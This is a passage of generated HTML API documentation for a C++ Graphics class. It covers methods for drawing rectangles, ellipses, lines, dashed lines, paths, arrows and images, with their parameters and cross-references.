using the current colour or brush. </p> <p>The lines are drawn inside the given rectangle, and greater line thicknesses extend inwards. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a9ff78524c757a302ad8b9cbc4c7ba851" title="Fills a rectangle with the current colour or brush.">fillRect</a> </dd></dl> </div> </div> <a class="anchor" id="a78541e36136eb040c4b8c81d4b8db8dd"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawRoundedRectangle </td> <td>(</td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>x</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>y</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>width</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>height</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>cornerSize</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>lineThickness</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Uses the current colour or brush to draw the outline of a rectangle with rounded corners. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a1049a2dae8a1ae3e5e57238f2fd36a84" title="Uses the current colour or brush to fill a rectangle with rounded corners.">fillRoundedRectangle</a>, <a class="el" href="classPath.html#a501f83b0e323fe86d33c047f83451065" title="Adds a rectangle with rounded corners to the path.">Path::addRoundedRectangle</a> </dd></dl> </div> </div> <a class="anchor" id="a91706e86b7120523346fee8f2161d48f"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawRoundedRectangle </td> <td>(</td> <td class="paramtype">const <a class="el" href="classRectangle.html">Rectangle</a>&lt; float &gt; &amp;&#160;</td> <td class="paramname"><em>rectangle</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>cornerSize</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>lineThickness</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Uses the current colour or brush to draw the outline of a rectangle with rounded corners. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a1049a2dae8a1ae3e5e57238f2fd36a84" title="Uses the current colour or brush to fill a rectangle with rounded corners.">fillRoundedRectangle</a>, <a class="el" href="classPath.html#a501f83b0e323fe86d33c047f83451065" title="Adds a rectangle with rounded corners to the path.">Path::addRoundedRectangle</a> </dd></dl> </div> </div> <a class="anchor" id="a69e70db1afc03d58f9055f8f45d8e5d1"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::setPixel </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>x</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>y</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Fills a 1x1 pixel using the current colour or brush. </p> <p>Note that because the context may be transformed, this is effectively the same as calling fillRect (x, y, 1, 1), and the actual result may involve multiple pixels. </p> </div> </div> <a class="anchor" id="ab6fdfd1cb32b32d52b6b30df36321f70"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::fillEllipse </td> <td>(</td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>x</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>y</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>width</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>height</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Fills an ellipse with the current colour or brush. </p> <p>The ellipse is drawn to fit inside the given rectangle. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#ac88110d5407539aa1be841a89d5170b0" title="Draws an elliptical stroke using the current colour or brush.">drawEllipse</a>, <a class="el" href="classPath.html#a7514c5eaa928b64121490a7f0ce3088c" title="Adds an ellipse to the path.">Path::addEllipse</a> </dd></dl> </div> </div> <a class="anchor" id="a4f58ce68f75ec835a4863e756ec11bed"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::fillEllipse </td> <td>(</td> <td class="paramtype">const <a class="el" href="classRectangle.html">Rectangle</a>&lt; float &gt; &amp;&#160;</td> <td class="paramname"><em>area</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Fills an ellipse with the current colour or brush. </p> <p>The ellipse is drawn to fit inside the given rectangle. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#ac88110d5407539aa1be841a89d5170b0" title="Draws an elliptical stroke using the current colour or brush.">drawEllipse</a>, <a class="el" href="classPath.html#a7514c5eaa928b64121490a7f0ce3088c" title="Adds an ellipse to the path.">Path::addEllipse</a> </dd></dl> </div> </div> <a class="anchor" id="ac88110d5407539aa1be841a89d5170b0"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawEllipse </td> <td>(</td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>x</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>y</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>width</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>height</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>lineThickness</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws an elliptical stroke using the current colour or brush. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#ab6fdfd1cb32b32d52b6b30df36321f70" title="Fills an ellipse with the current colour or brush.">fillEllipse</a>, <a class="el" href="classPath.html#a7514c5eaa928b64121490a7f0ce3088c" title="Adds an ellipse to the path.">Path::addEllipse</a> </dd></dl> </div> </div> <a class="anchor" id="a29c31898f9f27de837579089f470eb7f"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawEllipse </td> <td>(</td> <td class="paramtype">const <a class="el" href="classRectangle.html">Rectangle</a>&lt; float &gt; &amp;&#160;</td> <td class="paramname"><em>area</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>lineThickness</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws an elliptical stroke using the current colour or brush. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#ab6fdfd1cb32b32d52b6b30df36321f70" title="Fills an ellipse with the current colour or brush.">fillEllipse</a>, <a class="el" href="classPath.html#a7514c5eaa928b64121490a7f0ce3088c" title="Adds an ellipse to the path.">Path::addEllipse</a> </dd></dl> </div> </div> <a class="anchor" id="a0911bf63fd6c0d3e35b2b701fcbc7728"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawLine </td> <td>(</td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>startX</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>startY</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>endX</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>endY</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws a line between two points. </p> <p>The line is 1 pixel wide and drawn with the current colour or brush. TIP: If you're trying to draw horizontal or vertical lines, don't use this - it's better to use <a class="el" href="classGraphics.html#a9ff78524c757a302ad8b9cbc4c7ba851" title="Fills a rectangle with the current colour or brush.">fillRect()</a> instead unless you really need an angled line. </p> </div> </div> <a class="anchor" id="a664643f9fef3c8b37b0620c28ec4bb76"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawLine </td> <td>(</td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>startX</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>startY</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>endX</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>endY</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>lineThickness</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws a line between two points with a given thickness. </p> <p>TIP: If you're trying to draw horizontal or vertical lines, don't use this - it's better to use <a class="el" href="classGraphics.html#a9ff78524c757a302ad8b9cbc4c7ba851" title="Fills a rectangle with the current colour or brush.">fillRect()</a> instead unless you really need an angled line. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classPath.html#a93c4d70100bed1ea07518fea36267035" title="Adds a line with a specified thickness.">Path::addLineSegment</a> </dd></dl> </div> </div> <a class="anchor" id="a94cf6a3a058ad1a36dc836b34916ef0d"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawLine </td> <td>(</td> <td class="paramtype">const <a class="el" href="classLine.html">Line</a>&lt; float &gt; &amp;&#160;</td> <td class="paramname"><em>line</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws a line between two points. </p> <p>The line is 1 pixel wide and drawn with the current colour or brush. TIP: If you're trying to draw horizontal or vertical lines, don't use this - it's better to use <a class="el" href="classGraphics.html#a9ff78524c757a302ad8b9cbc4c7ba851" title="Fills a rectangle with the current colour or brush.">fillRect()</a> instead unless you really need an angled line. </p> </div> </div> <a class="anchor" id="ace7c180c66f119399acb69ad966057e3"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawLine </td> <td>(</td> <td class="paramtype">const <a class="el" href="classLine.html">Line</a>&lt; float &gt; &amp;&#160;</td> <td class="paramname"><em>line</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>lineThickness</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws a line between two points with a given thickness. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classPath.html#a93c4d70100bed1ea07518fea36267035" title="Adds a line with a specified thickness.">Path::addLineSegment</a> TIP: If you're trying to draw horizontal or vertical lines, don't use this - it's better to use <a class="el" href="classGraphics.html#a9ff78524c757a302ad8b9cbc4c7ba851" title="Fills a rectangle with the current colour or brush.">fillRect()</a> instead unless you really need an angled line. </dd></dl> </div> </div> <a class="anchor" id="ab24a3f2ba3d648285fcad7c97fb8270f"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawDashedLine </td> <td>(</td> <td class="paramtype">const <a class="el" href="classLine.html">Line</a>&lt; float &gt; &amp;&#160;</td> <td class="paramname"><em>line</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const float *&#160;</td> <td class="paramname"><em>dashLengths</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>numDashLengths</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>lineThickness</em> = <code>1.0f</code>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>dashIndexToStartFrom</em> = <code>0</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws a dashed line using a custom set of dash-lengths. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">line</td><td>the line to draw </td></tr> <tr><td class="paramname">dashLengths</td><td>a series of lengths to specify the on/off lengths - e.g. { 4, 5, 6, 7 } will draw a line of 4 pixels, skip 5 pixels, draw 6 pixels, skip 7 pixels, and then repeat. </td></tr> <tr><td class="paramname">numDashLengths</td><td>the number of elements in the array (this must be an even number). </td></tr> <tr><td class="paramname">lineThickness</td><td>the thickness of the line to draw </td></tr> <tr><td class="paramname">dashIndexToStartFrom</td><td>the index in the dash-length array to use for the first segment </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classPathStrokeType.html#a4eca56bfcdc41f774fcde1c8e34b70af" title="Applies this stroke type to a path, creating a dashed line.">PathStrokeType::createDashedStroke</a> </dd></dl> </div> </div> <a class="anchor" id="a042d4f7223a63212ae1d9452e26cbd7a"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawVerticalLine </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>x</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>top</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>bottom</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws a vertical line of pixels at a given x position. </p> <p>The x position is an integer, but the top and bottom of the line can be sub-pixel positions, and these will be anti-aliased if necessary.</p> <p>The bottom parameter must be greater than or equal to the top parameter. </p> </div> </div> <a class="anchor" id="aeea9ba47ff90bb7643038692bf647738"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawHorizontalLine </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>y</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>left</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>right</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws a horizontal line of pixels at a given y position. </p> <p>The y position is an integer, but the left and right ends of the line can be sub-pixel positions, and these will be anti-aliased if necessary.</p> <p>The right parameter must be greater than or equal to the left parameter. </p> </div> </div> <a class="anchor" id="a129aa4c9dcc137a1c910a2f5ef118fb7"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::fillPath </td> <td>(</td> <td class="paramtype">const <a class="el" href="classPath.html">Path</a> &amp;&#160;</td> <td class="paramname"><em>path</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classAffineTransform.html">AffineTransform</a> &amp;&#160;</td> <td class="paramname"><em>transform</em> = <code><a class="el" href="classAffineTransform.html#a2173017e6300f667a23467505ca36276">AffineTransform::identity</a></code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Fills a path using the currently selected colour or brush. </p> </div> </div> <a class="anchor" id="a5bd626168d02b83d10123e398da5c5a7"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::strokePath </td> <td>(</td> <td class="paramtype">const <a class="el" href="classPath.html">Path</a> &amp;&#160;</td> <td class="paramname"><em>path</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classPathStrokeType.html">PathStrokeType</a> &amp;&#160;</td> <td class="paramname"><em>strokeType</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classAffineTransform.html">AffineTransform</a> &amp;&#160;</td> <td class="paramname"><em>transform</em> = <code><a class="el" href="classAffineTransform.html#a2173017e6300f667a23467505ca36276">AffineTransform::identity</a></code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws a path's outline using the currently selected colour or brush. </p> </div> </div> <a class="anchor" id="ab1484b102f99384c443cfb5881d68fa9"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawArrow </td> <td>(</td> <td class="paramtype">const <a class="el" href="classLine.html">Line</a>&lt; float &gt; &amp;&#160;</td> <td class="paramname"><em>line</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>lineThickness</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>arrowheadWidth</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>arrowheadLength</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws a line with an arrowhead at its end. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">line</td><td>the line to draw </td></tr> <tr><td class="paramname">lineThickness</td><td>the thickness of the line </td></tr> <tr><td class="paramname">arrowheadWidth</td><td>the width of the arrow head (perpendicular to the line) </td></tr> <tr><td class="paramname">arrowheadLength</td><td>the length of the arrow head (along the length of the line) </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="a0f8160f9b0a6866e40cf1a2b45c3b892"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::setImageResamplingQuality </td> <td>(</td> <td class="paramtype">const <a class="el" href="classGraphics.html#a5da218e649d1b5ac3d67443ae77caf87">ResamplingQuality</a>&#160;</td> <td class="paramname"><em>newQuality</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Changes the quality that will be used when resampling images. </p> <p>By default a <a class="el" href="classGraphics.html" title="A graphics context, used for drawing a component or image.">Graphics</a> object will be set to mediumRenderingQuality. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a6e09218805a3eb3f7d4973433647d0e9" title="Draws part of an image, rescaling it to fit in a given target region.">Graphics::drawImage</a>, <a class="el" href="classGraphics.html#a79c4f544cd7fcada2be7d24691e157a3" title="Draws an image, having applied an affine transform to it.">Graphics::drawImageTransformed</a>, <a class="el" href="classGraphics.html#a3029f38ff98de2b5a44d3f0038d37351" title="Draws an image to fit within a designated rectangle.">Graphics::drawImageWithin</a> </dd></dl> </div> </div> <a class="anchor" id="ab754b6a67c6964be2d27b1ba82bdae56"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawImageAt </td> <td>(</td> <td class="paramtype">const <a class="el" href="classImage.html">Image</a> &amp;&#160;</td> <td class="paramname"><em>imageToDraw</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>topLeftX</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>topLeftY</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>fillAlphaChannelWithCurrentBrush</em> = <code>false</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws an image. </p> <p>This will draw the whole of an image, positioning its top-left corner at the given coordinates, and keeping its size the same. This is the simplest image drawing method - the others give more control over the scaling and clipping of the images.</p> <p>Images are composited using the context's current opacity, so if you don't want it to be drawn semi-transparently, be sure to call setOpacity (1.0f) (or <a class="el" href="classGraphics.html#a9a944a0006b7277fda473f0b1b4f028f" title="Changes the current drawing colour.">setColour()</a> with an opaque colour) before drawing images. </p> </div> </div> <a class="anchor" id="a6e09218805a3eb3f7d4973433647d0e9"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawImage </td> <td>(</td> <td class="paramtype">const <a class="el" href="classImage.html">Image</a> &amp;&#160;</td> <td class="paramname"><em>imageToDraw</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>destX</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>destY</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>destWidth</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>destHeight</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>sourceX</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>sourceY</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>sourceWidth</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>sourceHeight</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>fillAlphaChannelWithCurrentBrush</em> = <code>false</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws part of an image, rescaling it to fit in a given target region. </p> <p>The specified area of the source image is rescaled and drawn to fill the specifed destination rectangle.</p> <p>Images are composited using the context's current opacity, so if you don't want it to be drawn semi-transparently, be sure to call setOpacity (1.0f) (or <a class="el" href="classGraphics.html#a9a944a0006b7277fda473f0b1b4f028f" title="Changes the current drawing colour.">setColour()</a> with an opaque colour) before drawing images.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">imageToDraw</td><td>the image to overlay </td></tr> <tr><td class="paramname">destX</td><td>the left of the destination rectangle </td></tr> <tr><td class="paramname">destY</td><td>the top of the destination rectangle </td></tr> <tr><td class="paramname">destWidth</td><td>the width of the destination rectangle </td></tr> <tr><td class="paramname">destHeight</td><td>the height of the destination rectangle </td></tr> <tr><td class="paramname">sourceX</td><td>the left of the rectangle to copy from the source image </td></tr> <tr><td class="paramname">sourceY</td><td>the top of the rectangle to copy from the source image </td></tr> <tr><td class="paramname">sourceWidth</td><td>the width of the rectangle to copy from the source image </td></tr> <tr><td class="paramname">sourceHeight</td><td>the height of the rectangle to copy from the source image </td></tr> <tr><td class="paramname">fillAlphaChannelWithCurrentBrush</td><td>if true, then instead of drawing the source image's pixels, the source image's alpha channel is used as a mask with which to fill the destination using the current colour or brush. (If the source is has no alpha channel, then it will just fill the target with a solid rectangle) </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a0f8160f9b0a6866e40cf1a2b45c3b892" title="Changes the quality that will be used when resampling images.">setImageResamplingQuality</a>, <a class="el" href="classGraphics.html#ab754b6a67c6964be2d27b1ba82bdae56" title="Draws an image.">drawImageAt</a>, <a class="el" href="classGraphics.html#a3029f38ff98de2b5a44d3f0038d37351" title="Draws an image to fit within a designated rectangle.">drawImageWithin</a>, fillAlphaMap </dd></dl> </div> </div> <a class="anchor" id="a79c4f544cd7fcada2be7d24691e157a3"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawImageTransformed </td> <td>(</td> <td class="paramtype">const <a class="el" href="classImage.html">Image</a> &amp;&#160;</td> <td class="paramname"><em>imageToDraw</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classAffineTransform.html">AffineTransform</a> &amp;&#160;</td> <td class="paramname"><em>transform</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>fillAlphaChannelWithCurrentBrush</em> = <code>false</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws an image, having applied an affine transform to it. </p> <p>This lets you throw the image around in some wacky ways, rotate it, shear, scale it, etc.</p> <p>Images are composited using the context's current opacity, so if you don't want it to be drawn semi-transparently, be sure to call setOpacity (1.0f) (or <a class="el" href="classGraphics.html#a9a944a0006b7277fda473f0b1b4f028f" title="Changes the current drawing colour.">setColour()</a> with an opaque colour) before drawing images.</p> <p>If fillAlphaChannelWithCurrentBrush is set to true, then the image's RGB channels are ignored and it is filled with the current brush, masked by its alpha channel.</p> <p>If you want to render only a subsection of an image, use <a class="el" href="classImage.html#a23f8ff9b07d67f2c60776d4031c27417" title="Returns an image which refers to a subsection of this image.">Image::getClippedImage()</a> to create the section that you need.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a0f8160f9b0a6866e40cf1a2b45c3b892" title="Changes the quality that will be used when resampling images.">setImageResamplingQuality</a>, <a class="el" href="classGraphics.html#a6e09218805a3eb3f7d4973433647d0e9" title="Draws part of an image, rescaling it to fit in a given target region.">drawImage</a> </dd></dl> </div> </div> <a class="anchor" id="a3029f38ff98de2b5a44d3f0038d37351"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::drawImageWithin </td> <td>(</td> <td class="paramtype">const <a class="el" href="classImage.html">Image</a> &amp;&#160;</td> <td class="paramname"><em>imageToDraw</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>destX</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>destY</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>destWidth</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>destHeight</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classRectanglePlacement.html">RectanglePlacement</a>&#160;</td> <td class="paramname"><em>placementWithinTarget</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>fillAlphaChannelWithCurrentBrush</em> = <code>false</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Draws an image to fit within a designated rectangle. </p> <p>If the image is too big or too small for the space, it will be rescaled to fit as nicely as it can do without affecting its aspect ratio. It will then be placed within the target rectangle according to the justification flags specified.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">imageToDraw</td><td>the source image to draw </td></tr> <tr><td class="paramname">destX</td><td>top-left of the target rectangle to fit it into </td></tr> <tr><td class="paramname">destY</td><td>top-left of the target rectangle to fit it into </td></tr> <tr><td class="paramname">destWidth</td><td>size of the target rectangle to fit the image into </td></tr> <tr><td class="paramname">destHeight</td><td>size of the target rectangle to fit the image into </td></tr> <tr><td class="paramname">placementWithinTarget</td><td>this specifies how the image should be positioned within the target rectangle - see the <a class="el" href="classRectanglePlacement.html" title="Defines the method used to postion some kind of rectangular object within a rectangular viewport...">RectanglePlacement</a> class for more details about this. </td></tr> <tr><td class="paramname">fillAlphaChannelWithCurrentBrush</td><td>if true, then instead of drawing the image, just its alpha channel will be used as a mask with which to draw with the current brush or colour. This is similar to fillAlphaMap(), and see also <a class="el" href="classGraphics.html#a6e09218805a3eb3f7d4973433647d0e9" title="Draws part of an image, rescaling it to fit in a given target region.">drawImage()</a> </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a0f8160f9b0a6866e40cf1a2b45c3b892" title="Changes the quality that will be used when resampling images.">setImageResamplingQuality</a>, <a class="el" href="classGraphics.html#a6e09218805a3eb3f7d4973433647d0e9" title="Draws part of an image, rescaling it to fit in a given target region.">drawImage</a>, <a class="el" href="classGraphics.html#a79c4f544cd7fcada2be7d24691e157a3" title="Draws an image, having applied an affine transform to it.">drawImageTransformed</a>, <a class="el" href="classGraphics.html#ab754b6a67c6964be2d27b1ba82bdae56" title="Draws an image.">drawImageAt</a>, <a class="el" href="classRectanglePlacement.html" title="Defines the method used to postion some kind of rectangular object within a rectangular viewport...">RectanglePlacement</a> </dd></dl> </div> </div> <a class="anchor" id="a34942cbdbd743d7fd332c218ea7e4c5d"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classRectangle.html">Rectangle</a>&lt;int&gt; Graphics::getClipBounds </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns the position of the bounding box for the current clipping region. </p> 